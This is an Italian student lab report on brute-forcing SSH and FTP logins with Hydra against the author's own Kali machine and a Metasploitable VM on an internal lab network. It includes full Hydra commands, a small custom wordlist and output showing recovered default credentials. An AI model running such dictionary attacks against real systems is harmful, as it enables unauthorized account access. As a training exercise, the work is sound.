

AUTHENTICATION CRACKING CON HYDRA

TASK

Consegna:

1. Mi posiziono in NAT, utilizzate il comando **sudo apt install seclists, sudo apt install vsftpd**
2. Mi posiziono in rete interna, esercizio guidato su SSH da Kali a Kali
3. FTP da Kali a Kali
4. Bonus: telnet / ssh / ftp da Kali a Metasploitable (in rete interna)
utente msfadmin password listadipassword (con msfadmin incluso)

ANALISI E VALUTAZIONE

Come primo passaggio mettiamo kali su NAT. Non avendo possibilità di installare i pacchetti di lista e ftp con il comando sudo apt allora sono andato a scaricarli manualmente.

- **SecLists:** Ho eseguito il seguente comando da terminale:

wget -c <https://github.com/danielmiessler/SecLists/archive/master.zip> -O
SecList.zip

```
(kali@kali)-[~/Desktop]
└─$ wget -c https://github.com/danielmiessler/SecLists/archive/master.zip -O SecLists.zip
--2022-12-01 09:35:40-- https://github.com/danielmiessler/SecLists/archive/master.zip
Resolving github.com (github.com)... 140.82.121.4
Connecting to github.com (github.com)|140.82.121.4|:443... connected.
HTTP request sent, awaiting response... 302 Found
Location: https://codeload.github.com/danielmiessler/SecLists/zip/refs/heads/master [following]
--2022-12-01 09:35:40-- https://codeload.github.com/danielmiessler/SecLists/zip/refs/heads/master
Resolving codeload.github.com (codeload.github.com)... 140.82.121.9
Connecting to codeload.github.com (codeload.github.com)|140.82.121.9|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: unspecified [application/zip]
Saving to: 'SecLists.zip'

SecLists.zip           [          ] 510.66M  4.67MB/s   in 1m 54s
2022-12-01 09:37:34 (4.49 MB/s) - 'SecLists.zip' saved [535462975]

(kali@kali)-[~/Desktop]
└─$ unzip SecLists.zip
unzip: cannot find or open SecLists.zip, SecLists.zip.zip or SecLists.zip.ZIP.

(kali@kali)-[~/Desktop]
└─$ sudo unzip SecLists.zip
Archive: SecLists.zip
decd3cb559844df67b0adb5f1b743c6d0c861126
```

Questo ci permette di scaricare il file SecLists.zip il quale successivamente lo andremo ad estrarre con il comando `<<sudo unzip SecList.zip>>` e dopo averlo estratto lo andremo a depositare nella directory dove sarebbe dovuto esserci se avessimo utilizzato il comando `sudo apt`. Il comando per spostarlo nella directory è il seguente:

`mv "Nome_del_file_estratto" /usr/share`

- **Vsftpd:** Per questo servizio invece dobbiamo andare a scaricarlo a mano dal sito <http://ftp.debian.org/debian/pool/main/v/vsftpd/> e scegliere il file amd64.deb. Dopo averlo scaricato andiamo a installarlo usando il comando da terminale:

`sudo dpkg -i "Nome_del_file_scaricato"`

```
(kali㉿kali)-[~/Desktop]
$ sudo dpkg -i vsftpd_3.0.3-12_amd64.deb
Selecting previously unselected package vsftpd.
(Reading database ... 341841 files and directories currently installed.)
Preparing to unpack vsftpd_3.0.3-12_amd64.deb ...
Unpacking vsftpd (3.0.3-12) ...
Setting up vsftpd (3.0.3-12) ...
update-rc.d: We have no instructions for the vsftpd init script.
update-rc.d: It looks like a network service, we disable it.
```

Ora andiamo ad effettuare la scansione tramite Hydra. Ritorniamo in rete interna ed andiamo a creare un nuovo utente utilizzando il comando:

`sudo adduser test_user`

```
(kali㉿kali)-[~]
$ sudo adduser test_user
Adding user `test_user' ...
Adding new group `test_user' (1001) ...
Adding new user `test_user' (1001) with group `test_user' ...
Creating home directory `/home/test_user' ...
Copying files from `/etc/skel' ...
New password:
Retype new password:
passwd: password updated successfully
Changing the user information for test_user
Enter the new value, or press ENTER for the default
  Full Name []:
  Room Number []:
  Work Phone []:
  Home Phone []:
  Other []:
Is the information correct? [Y/n] y
```

Ci chiederà anche la password che daremo: *testpass*

Dopo di che andiamo ad avviare il servizio di ssh con il comando:

sudo service ssh start

E il comando successivo che staremo per usare servirà per instaurare la connessione in ssh dell'utente che abbiamo creato. Questo ci permetterà di ricevere il prompt dei comandi dell'utente test_user. Il comando sarà:

ssh test_user@IP_KALI

```
(kali㉿kali)-[~]
$ sudo service ssh start

(kali㉿kali)-[~]
$ ssh test_user@192.168.50.100
The authenticity of host '192.168.50.100 (192.168.50.100)' can't be established.
ED25519 key fingerprint is SHA256:ukduG/ms06+Cw8jhtuiv6AicHN+YSHMiTAlTBG7pCdQ.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? y
Please type 'yes', 'no' or the fingerprint: yes
Warning: Permanently added '192.168.50.100' (ED25519) to the list of known hosts.
test_user@192.168.50.100's password:
Linux kali 5.18.0-kali5-amd64 #1 SMP PREEMPT_DYNAMIC Debian 5.18.5-1kali6 (2022-07-07) x86_64

The programs included with the Kali GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Kali GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
(test_user㉿kali)-[~]
$ █
```

IP DI KALI: 192.168.50.100

ATTACCO A DIZIONARIO CON HYDRA

Ora possiamo andare a sfruttare un attacco a dizionario tramite Hydra. Ritorniamo all'user kali con il comando <<kali su>>. Il comando da utilizzare per andare a fare un attacco tramite Hydra per l'associazione della password al nostro nuovo utente creato sarà:

hydra -l test_user -P /usr/share/SecLists-master/Passwords/password_create_da_me.txt 192.168.50.100 -t4 ssh -V

```
(kali@kali)-[~]
$ hydra -l test_user -P /usr/share/SecLists-master/Passwords/password_create_da_me.txt 192.168.50.100 -t4 ssh -V
Hydra v9.3 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these ** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2022-12-01 10:23:58
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 4 tasks per 1 server, overall 4 tasks, 33 login tries (l:1/p:33), ~9 tries per task
[DATA] attacking ssh://192.168.50.100:22/
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "asdasdh" - 1 of 33 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "dsawdd" - 2 of 33 [child 1] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "sdasdqwe" - 3 of 33 [child 2] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "asdawda" - 4 of 33 [child 3] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "das" - 5 of 33 [child 1] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "ds" - 6 of 33 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "g" - 7 of 33 [child 3] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "grg" - 8 of 33 [child 2] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "sdf" - 9 of 33 [child 1] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "d" - 10 of 33 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "d" - 11 of 33 [child 3] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "f" - 12 of 33 [child 2] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "dg" - 13 of 33 [child 1] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "h" - 14 of 33 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "hf" - 15 of 33 [child 3] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "fdf" - 16 of 33 [child 2] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "df" - 17 of 33 [child 1] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "rt" - 18 of 33 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "h" - 19 of 33 [child 3] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "gh" - 20 of 33 [child 2] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "rg" - 21 of 33 [child 1] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "sdf" - 22 of 33 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "asd" - 23 of 33 [child 3] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "dfgb" - 24 of 33 [child 2] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "vb" - 25 of 33 [child 1] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "cv" - 26 of 33 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "testpass" - 27 of 33 [child 3] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "sdfgsdfds" - 28 of 33 [child 2] (0/0)
[22][ssh] host: 192.168.50.100 login: test_user password: testpass
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2022-12-01 10:25:02
```

Come si può notare il comando ci ha permesso di poter trovare la nostra password relativo al nostro user (in basso in celeste)

Spieghiamo e facciamo delle premesse:

- l** = fa riferimento all'user per il quale vogliamo fare il test e trovare la sua password
- P** = fa riferimento ad un file di password che Hydra prende in considerazione per fare i test
- t4** = parametro utilizzato per ridurre il numero di task paralleli
- V** = ci permette di far apparire tutti i test di username e password che esegue Hydra

Password_create_da_me = è un file che ho creato io inserendoci un tot di password per ridurre il tempo di recupero password e l'ho creato e salvato nella directory */usr/share/SecLists-master/Passwords*. In alternativa potevamo usare il file denominato *xato-net-10-milion-passwords-1000000.txt*, il quale è un file contenente un numero elevato di password default:

```
kali@kali: /usr/share/SecLists-master/Passwords
File Actions Edit View Help
GNU nano 6.3 password_create_da_me.txt
dsdasdh
dsawdd
sdasdqwe
asdawda
das
ds
g
grg
sdf
d
d
f
dg
h
hf
fdf
df
rt
h
kali
gh
rg
sdf
asd
dfgb
msfadmin
vb
cv
testpass
sdfgsdfds
df
sdf
sdfsd
f
[ Read 35 lines ]
^G Help      ^O Write Out  ^W Where Is   ^K Cut        ^T Execute
^X Exit      ^R Read File  ^_ Replace    ^U Paste      ^J Justify
              ^C Location   ^M-U Undo     ^_/ Go To Line ^M-E Redo
```

File creato da me inserendo un numero casuale di password, tra cui anche quelle corrette per far vedere come Hydra funziona.

```
bt4-password.txt
cirt-default-passwords.txt
citrix.txt
clarkson-university-82.txt
Common-Credentials
Cracked-Hashes
darkc0de.txt
darkweb2017-top10000.txt
darkweb2017-top1000.txt
darkweb2017-top100.txt
darkweb2017-top10.txt
days.txt
Default-Credentials
der-postillon.txt
dutch_common_wordlist.txt
dutch_passwordlist.txt
dutch_wordlist
german_misc.txt
Honeypot-Captures
Keyboard-Combinations.txt
Leaked-Databases
Malware
months.txt
Most-Popular-Letter-Passes.txt
probable-v2-top12000.txt
probable-v2-top1575.txt
probable-v2-top207.txt
README.md
richelieu-french-top20000.txt
richelieu-french-top5000.txt
SCRABBLE-hackerhouse.tgz
scraped-JWT-secrets.txt
seasons.txt
Software
stupid-ones-in-production.txt
twitter-banned.txt
unknown-azul.txt
UserPassCombo-Jay.txt
WiFi-WPA
xato-net-10-million-passwords-1000000.txt
xato-net-10-million-passwords-100000.txt
xato-net-10-million-passwords-10000.txt
xato-net-10-million-passwords-1000.txt
xato-net-10-million-passwords-100.txt
xato-net-10-million-passwords-10.txt
xato-net-10-million-passwords-dup.txt
xato-net-10-million-passwords.txt

(kali@kali)-[/usr/share/SecLists-master/Passwords]
$ sudo nano password_create_da_me.txt
[sudo] password for kali:

(kali@kali)-[/usr/share/SecLists-master/Passwords]
$ sudo nano password_create_da_me.txt
```

Repository dove si trova il file di 100000 password di default

Il passo successivo sarà andare a avviare il servizio di ftp tramite il comando:

sudo service vsftpd start

Dopo di che andiamo ad effettuare il test di cerca password tramite hydra ma in questo caso attraverso il protocollo ftp, il comando sarà il seguente:

*hydra -l kali -P /usr/share/SecLists-master/Passwords/password_create_da_me.txt
ftp://192.168.50.100 -V*

```
(kali㉿kali)-[~]
└─$ hydra -l kali -P /usr/share/SecLists-master/Passwords/password_create_da_me.txt ftp://192.168.50.100 -V
Hydra v9.3 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2022-12-01 10:30:29
[DATA] max 16 tasks per 1 server, overall 16 tasks, 35 login tries (l:1/p:35), ~3 tries per task
[DATA] attacking ftp://192.168.50.100:21/
[ATTEMPT] target 192.168.50.100 - login "kali" - pass "asdasdh" - 1 of 35 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "kali" - pass "dsawdd" - 2 of 35 [child 1] (0/0)
[ATTEMPT] target 192.168.50.100 - login "kali" - pass "sdasdqwe" - 3 of 35 [child 2] (0/0)
[ATTEMPT] target 192.168.50.100 - login "kali" - pass "asdawda" - 4 of 35 [child 3] (0/0)
[ATTEMPT] target 192.168.50.100 - login "kali" - pass "das" - 5 of 35 [child 4] (0/0)
[ATTEMPT] target 192.168.50.100 - login "kali" - pass "ds" - 6 of 35 [child 5] (0/0)
[ATTEMPT] target 192.168.50.100 - login "kali" - pass "g" - 7 of 35 [child 6] (0/0)
[ATTEMPT] target 192.168.50.100 - login "kali" - pass "grg" - 8 of 35 [child 7] (0/0)
[ATTEMPT] target 192.168.50.100 - login "kali" - pass "sdf" - 9 of 35 [child 8] (0/0)
[ATTEMPT] target 192.168.50.100 - login "kali" - pass "d" - 10 of 35 [child 9] (0/0)
[ATTEMPT] target 192.168.50.100 - login "kali" - pass "d" - 11 of 35 [child 10] (0/0)
[ATTEMPT] target 192.168.50.100 - login "kali" - pass "f" - 12 of 35 [child 11] (0/0)
[ATTEMPT] target 192.168.50.100 - login "kali" - pass "dg" - 13 of 35 [child 12] (0/0)
[ATTEMPT] target 192.168.50.100 - login "kali" - pass "h" - 14 of 35 [child 13] (0/0)
[ATTEMPT] target 192.168.50.100 - login "kali" - pass "hf" - 15 of 35 [child 14] (0/0)
[ATTEMPT] target 192.168.50.100 - login "kali" - pass "fdf" - 16 of 35 [child 15] (0/0)
[ATTEMPT] target 192.168.50.100 - login "kali" - pass "df" - 17 of 35 [child 1] (0/0)
[ATTEMPT] target 192.168.50.100 - login "kali" - pass "rt" - 18 of 35 [child 6] (0/0)
[ATTEMPT] target 192.168.50.100 - login "kali" - pass "h" - 19 of 35 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "kali" - pass "kali" - 20 of 35 [child 5] (0/0)
[ATTEMPT] target 192.168.50.100 - login "kali" - pass "gh" - 21 of 35 [child 11] (0/0)
[ATTEMPT] target 192.168.50.100 - login "kali" - pass "rg" - 22 of 35 [child 15] (0/0)
[ATTEMPT] target 192.168.50.100 - login "kali" - pass "sdf" - 23 of 35 [child 8] (0/0)
[ATTEMPT] target 192.168.50.100 - login "kali" - pass "asd" - 24 of 35 [child 13] (0/0)
[ATTEMPT] target 192.168.50.100 - login "kali" - pass "dfgb" - 25 of 35 [child 7] (0/0)
[ATTEMPT] target 192.168.50.100 - login "kali" - pass "msfadmin" - 26 of 35 [child 12] (0/0)
[ATTEMPT] target 192.168.50.100 - login "kali" - pass "vb" - 27 of 35 [child 10] (0/0)
[ATTEMPT] target 192.168.50.100 - login "kali" - pass "cv" - 28 of 35 [child 2] (0/0)
[ATTEMPT] target 192.168.50.100 - login "kali" - pass "testpass" - 29 of 35 [child 14] (0/0)
[ATTEMPT] target 192.168.50.100 - login "kali" - pass "sdfgsdfds" - 30 of 35 [child 4] (0/0)
[ATTEMPT] target 192.168.50.100 - login "kali" - pass "df" - 31 of 35 [child 3] (0/0)
[ATTEMPT] target 192.168.50.100 - login "kali" - pass "sdf" - 32 of 35 [child 9] (0/0)
[21][ftp] host: 192.168.50.100 login: kali password: kali
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2022-12-01 10:30:39
```

Come si può notare abbiamo ottenuto come risultato la password di kali (in celeste)

Avremo potuto fare la stessa cosa collegandosi da meta a kali, bastava cambiare solo l'indirizzo IP e mettere quello di Meta e usare invece dell'user di kali quello di Meta:

hydra -l msfadmin -P /usr/share/SecLists-master/Passwords/password_create_da_me.txt ftp://192.168.50.101 -V

```
(kali㉿kali)-[~]
$ hydra -l msfadmin -P /usr/share/SecLists-master/Passwords/password_create_da_me.txt ftp://192.168.50.101 -V
Hydra v9.3 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organiza
tions, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2022-12-01 10:31:44
[DATA] max 16 tasks per 1 server, overall 16 tasks, 35 login tries (l:1/p:35), ~3 tries per task
[DATA] attacking ftp://192.168.50.101:21/
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "asdasdh" - 1 of 35 [child 0] (0/0)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "dsawdd" - 2 of 35 [child 1] (0/0)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "sdasdqwe" - 3 of 35 [child 2] (0/0)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "asdawda" - 4 of 35 [child 3] (0/0)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "das" - 5 of 35 [child 4] (0/0)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "ds" - 6 of 35 [child 5] (0/0)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "g" - 7 of 35 [child 6] (0/0)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "grg" - 8 of 35 [child 7] (0/0)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "sdf" - 9 of 35 [child 8] (0/0)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "d" - 10 of 35 [child 9] (0/0)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "d" - 11 of 35 [child 10] (0/0)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "f" - 12 of 35 [child 11] (0/0)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "dg" - 13 of 35 [child 12] (0/0)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "h" - 14 of 35 [child 13] (0/0)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "hf" - 15 of 35 [child 14] (0/0)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "fdf" - 16 of 35 [child 15] (0/0)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "df" - 17 of 35 [child 1] (0/0)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "rt" - 18 of 35 [child 7] (0/0)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "h" - 19 of 35 [child 9] (0/0)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "kali" - 20 of 35 [child 11] (0/0)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "gh" - 21 of 35 [child 14] (0/0)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "rg" - 22 of 35 [child 0] (0/0)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "sdf" - 23 of 35 [child 2] (0/0)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "asd" - 24 of 35 [child 3] (0/0)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "dfgb" - 25 of 35 [child 4] (0/0)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "msfadmin" - 26 of 35 [child 5] (0/0)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "vb" - 27 of 35 [child 6] (0/0)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "cv" - 28 of 35 [child 8] (0/0)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "testpass" - 29 of 35 [child 10] (0/0)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "sdfgsdfds" - 30 of 35 [child 12] (0/0)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "df" - 31 of 35 [child 13] (0/0)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "sdf" - 32 of 35 [child 15] (0/0)
[21][ftp] host: 192.168.50.101 login: msfadmin password: msfadmin
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2022-12-01 10:31:51
```

IP META: 192.168.50.101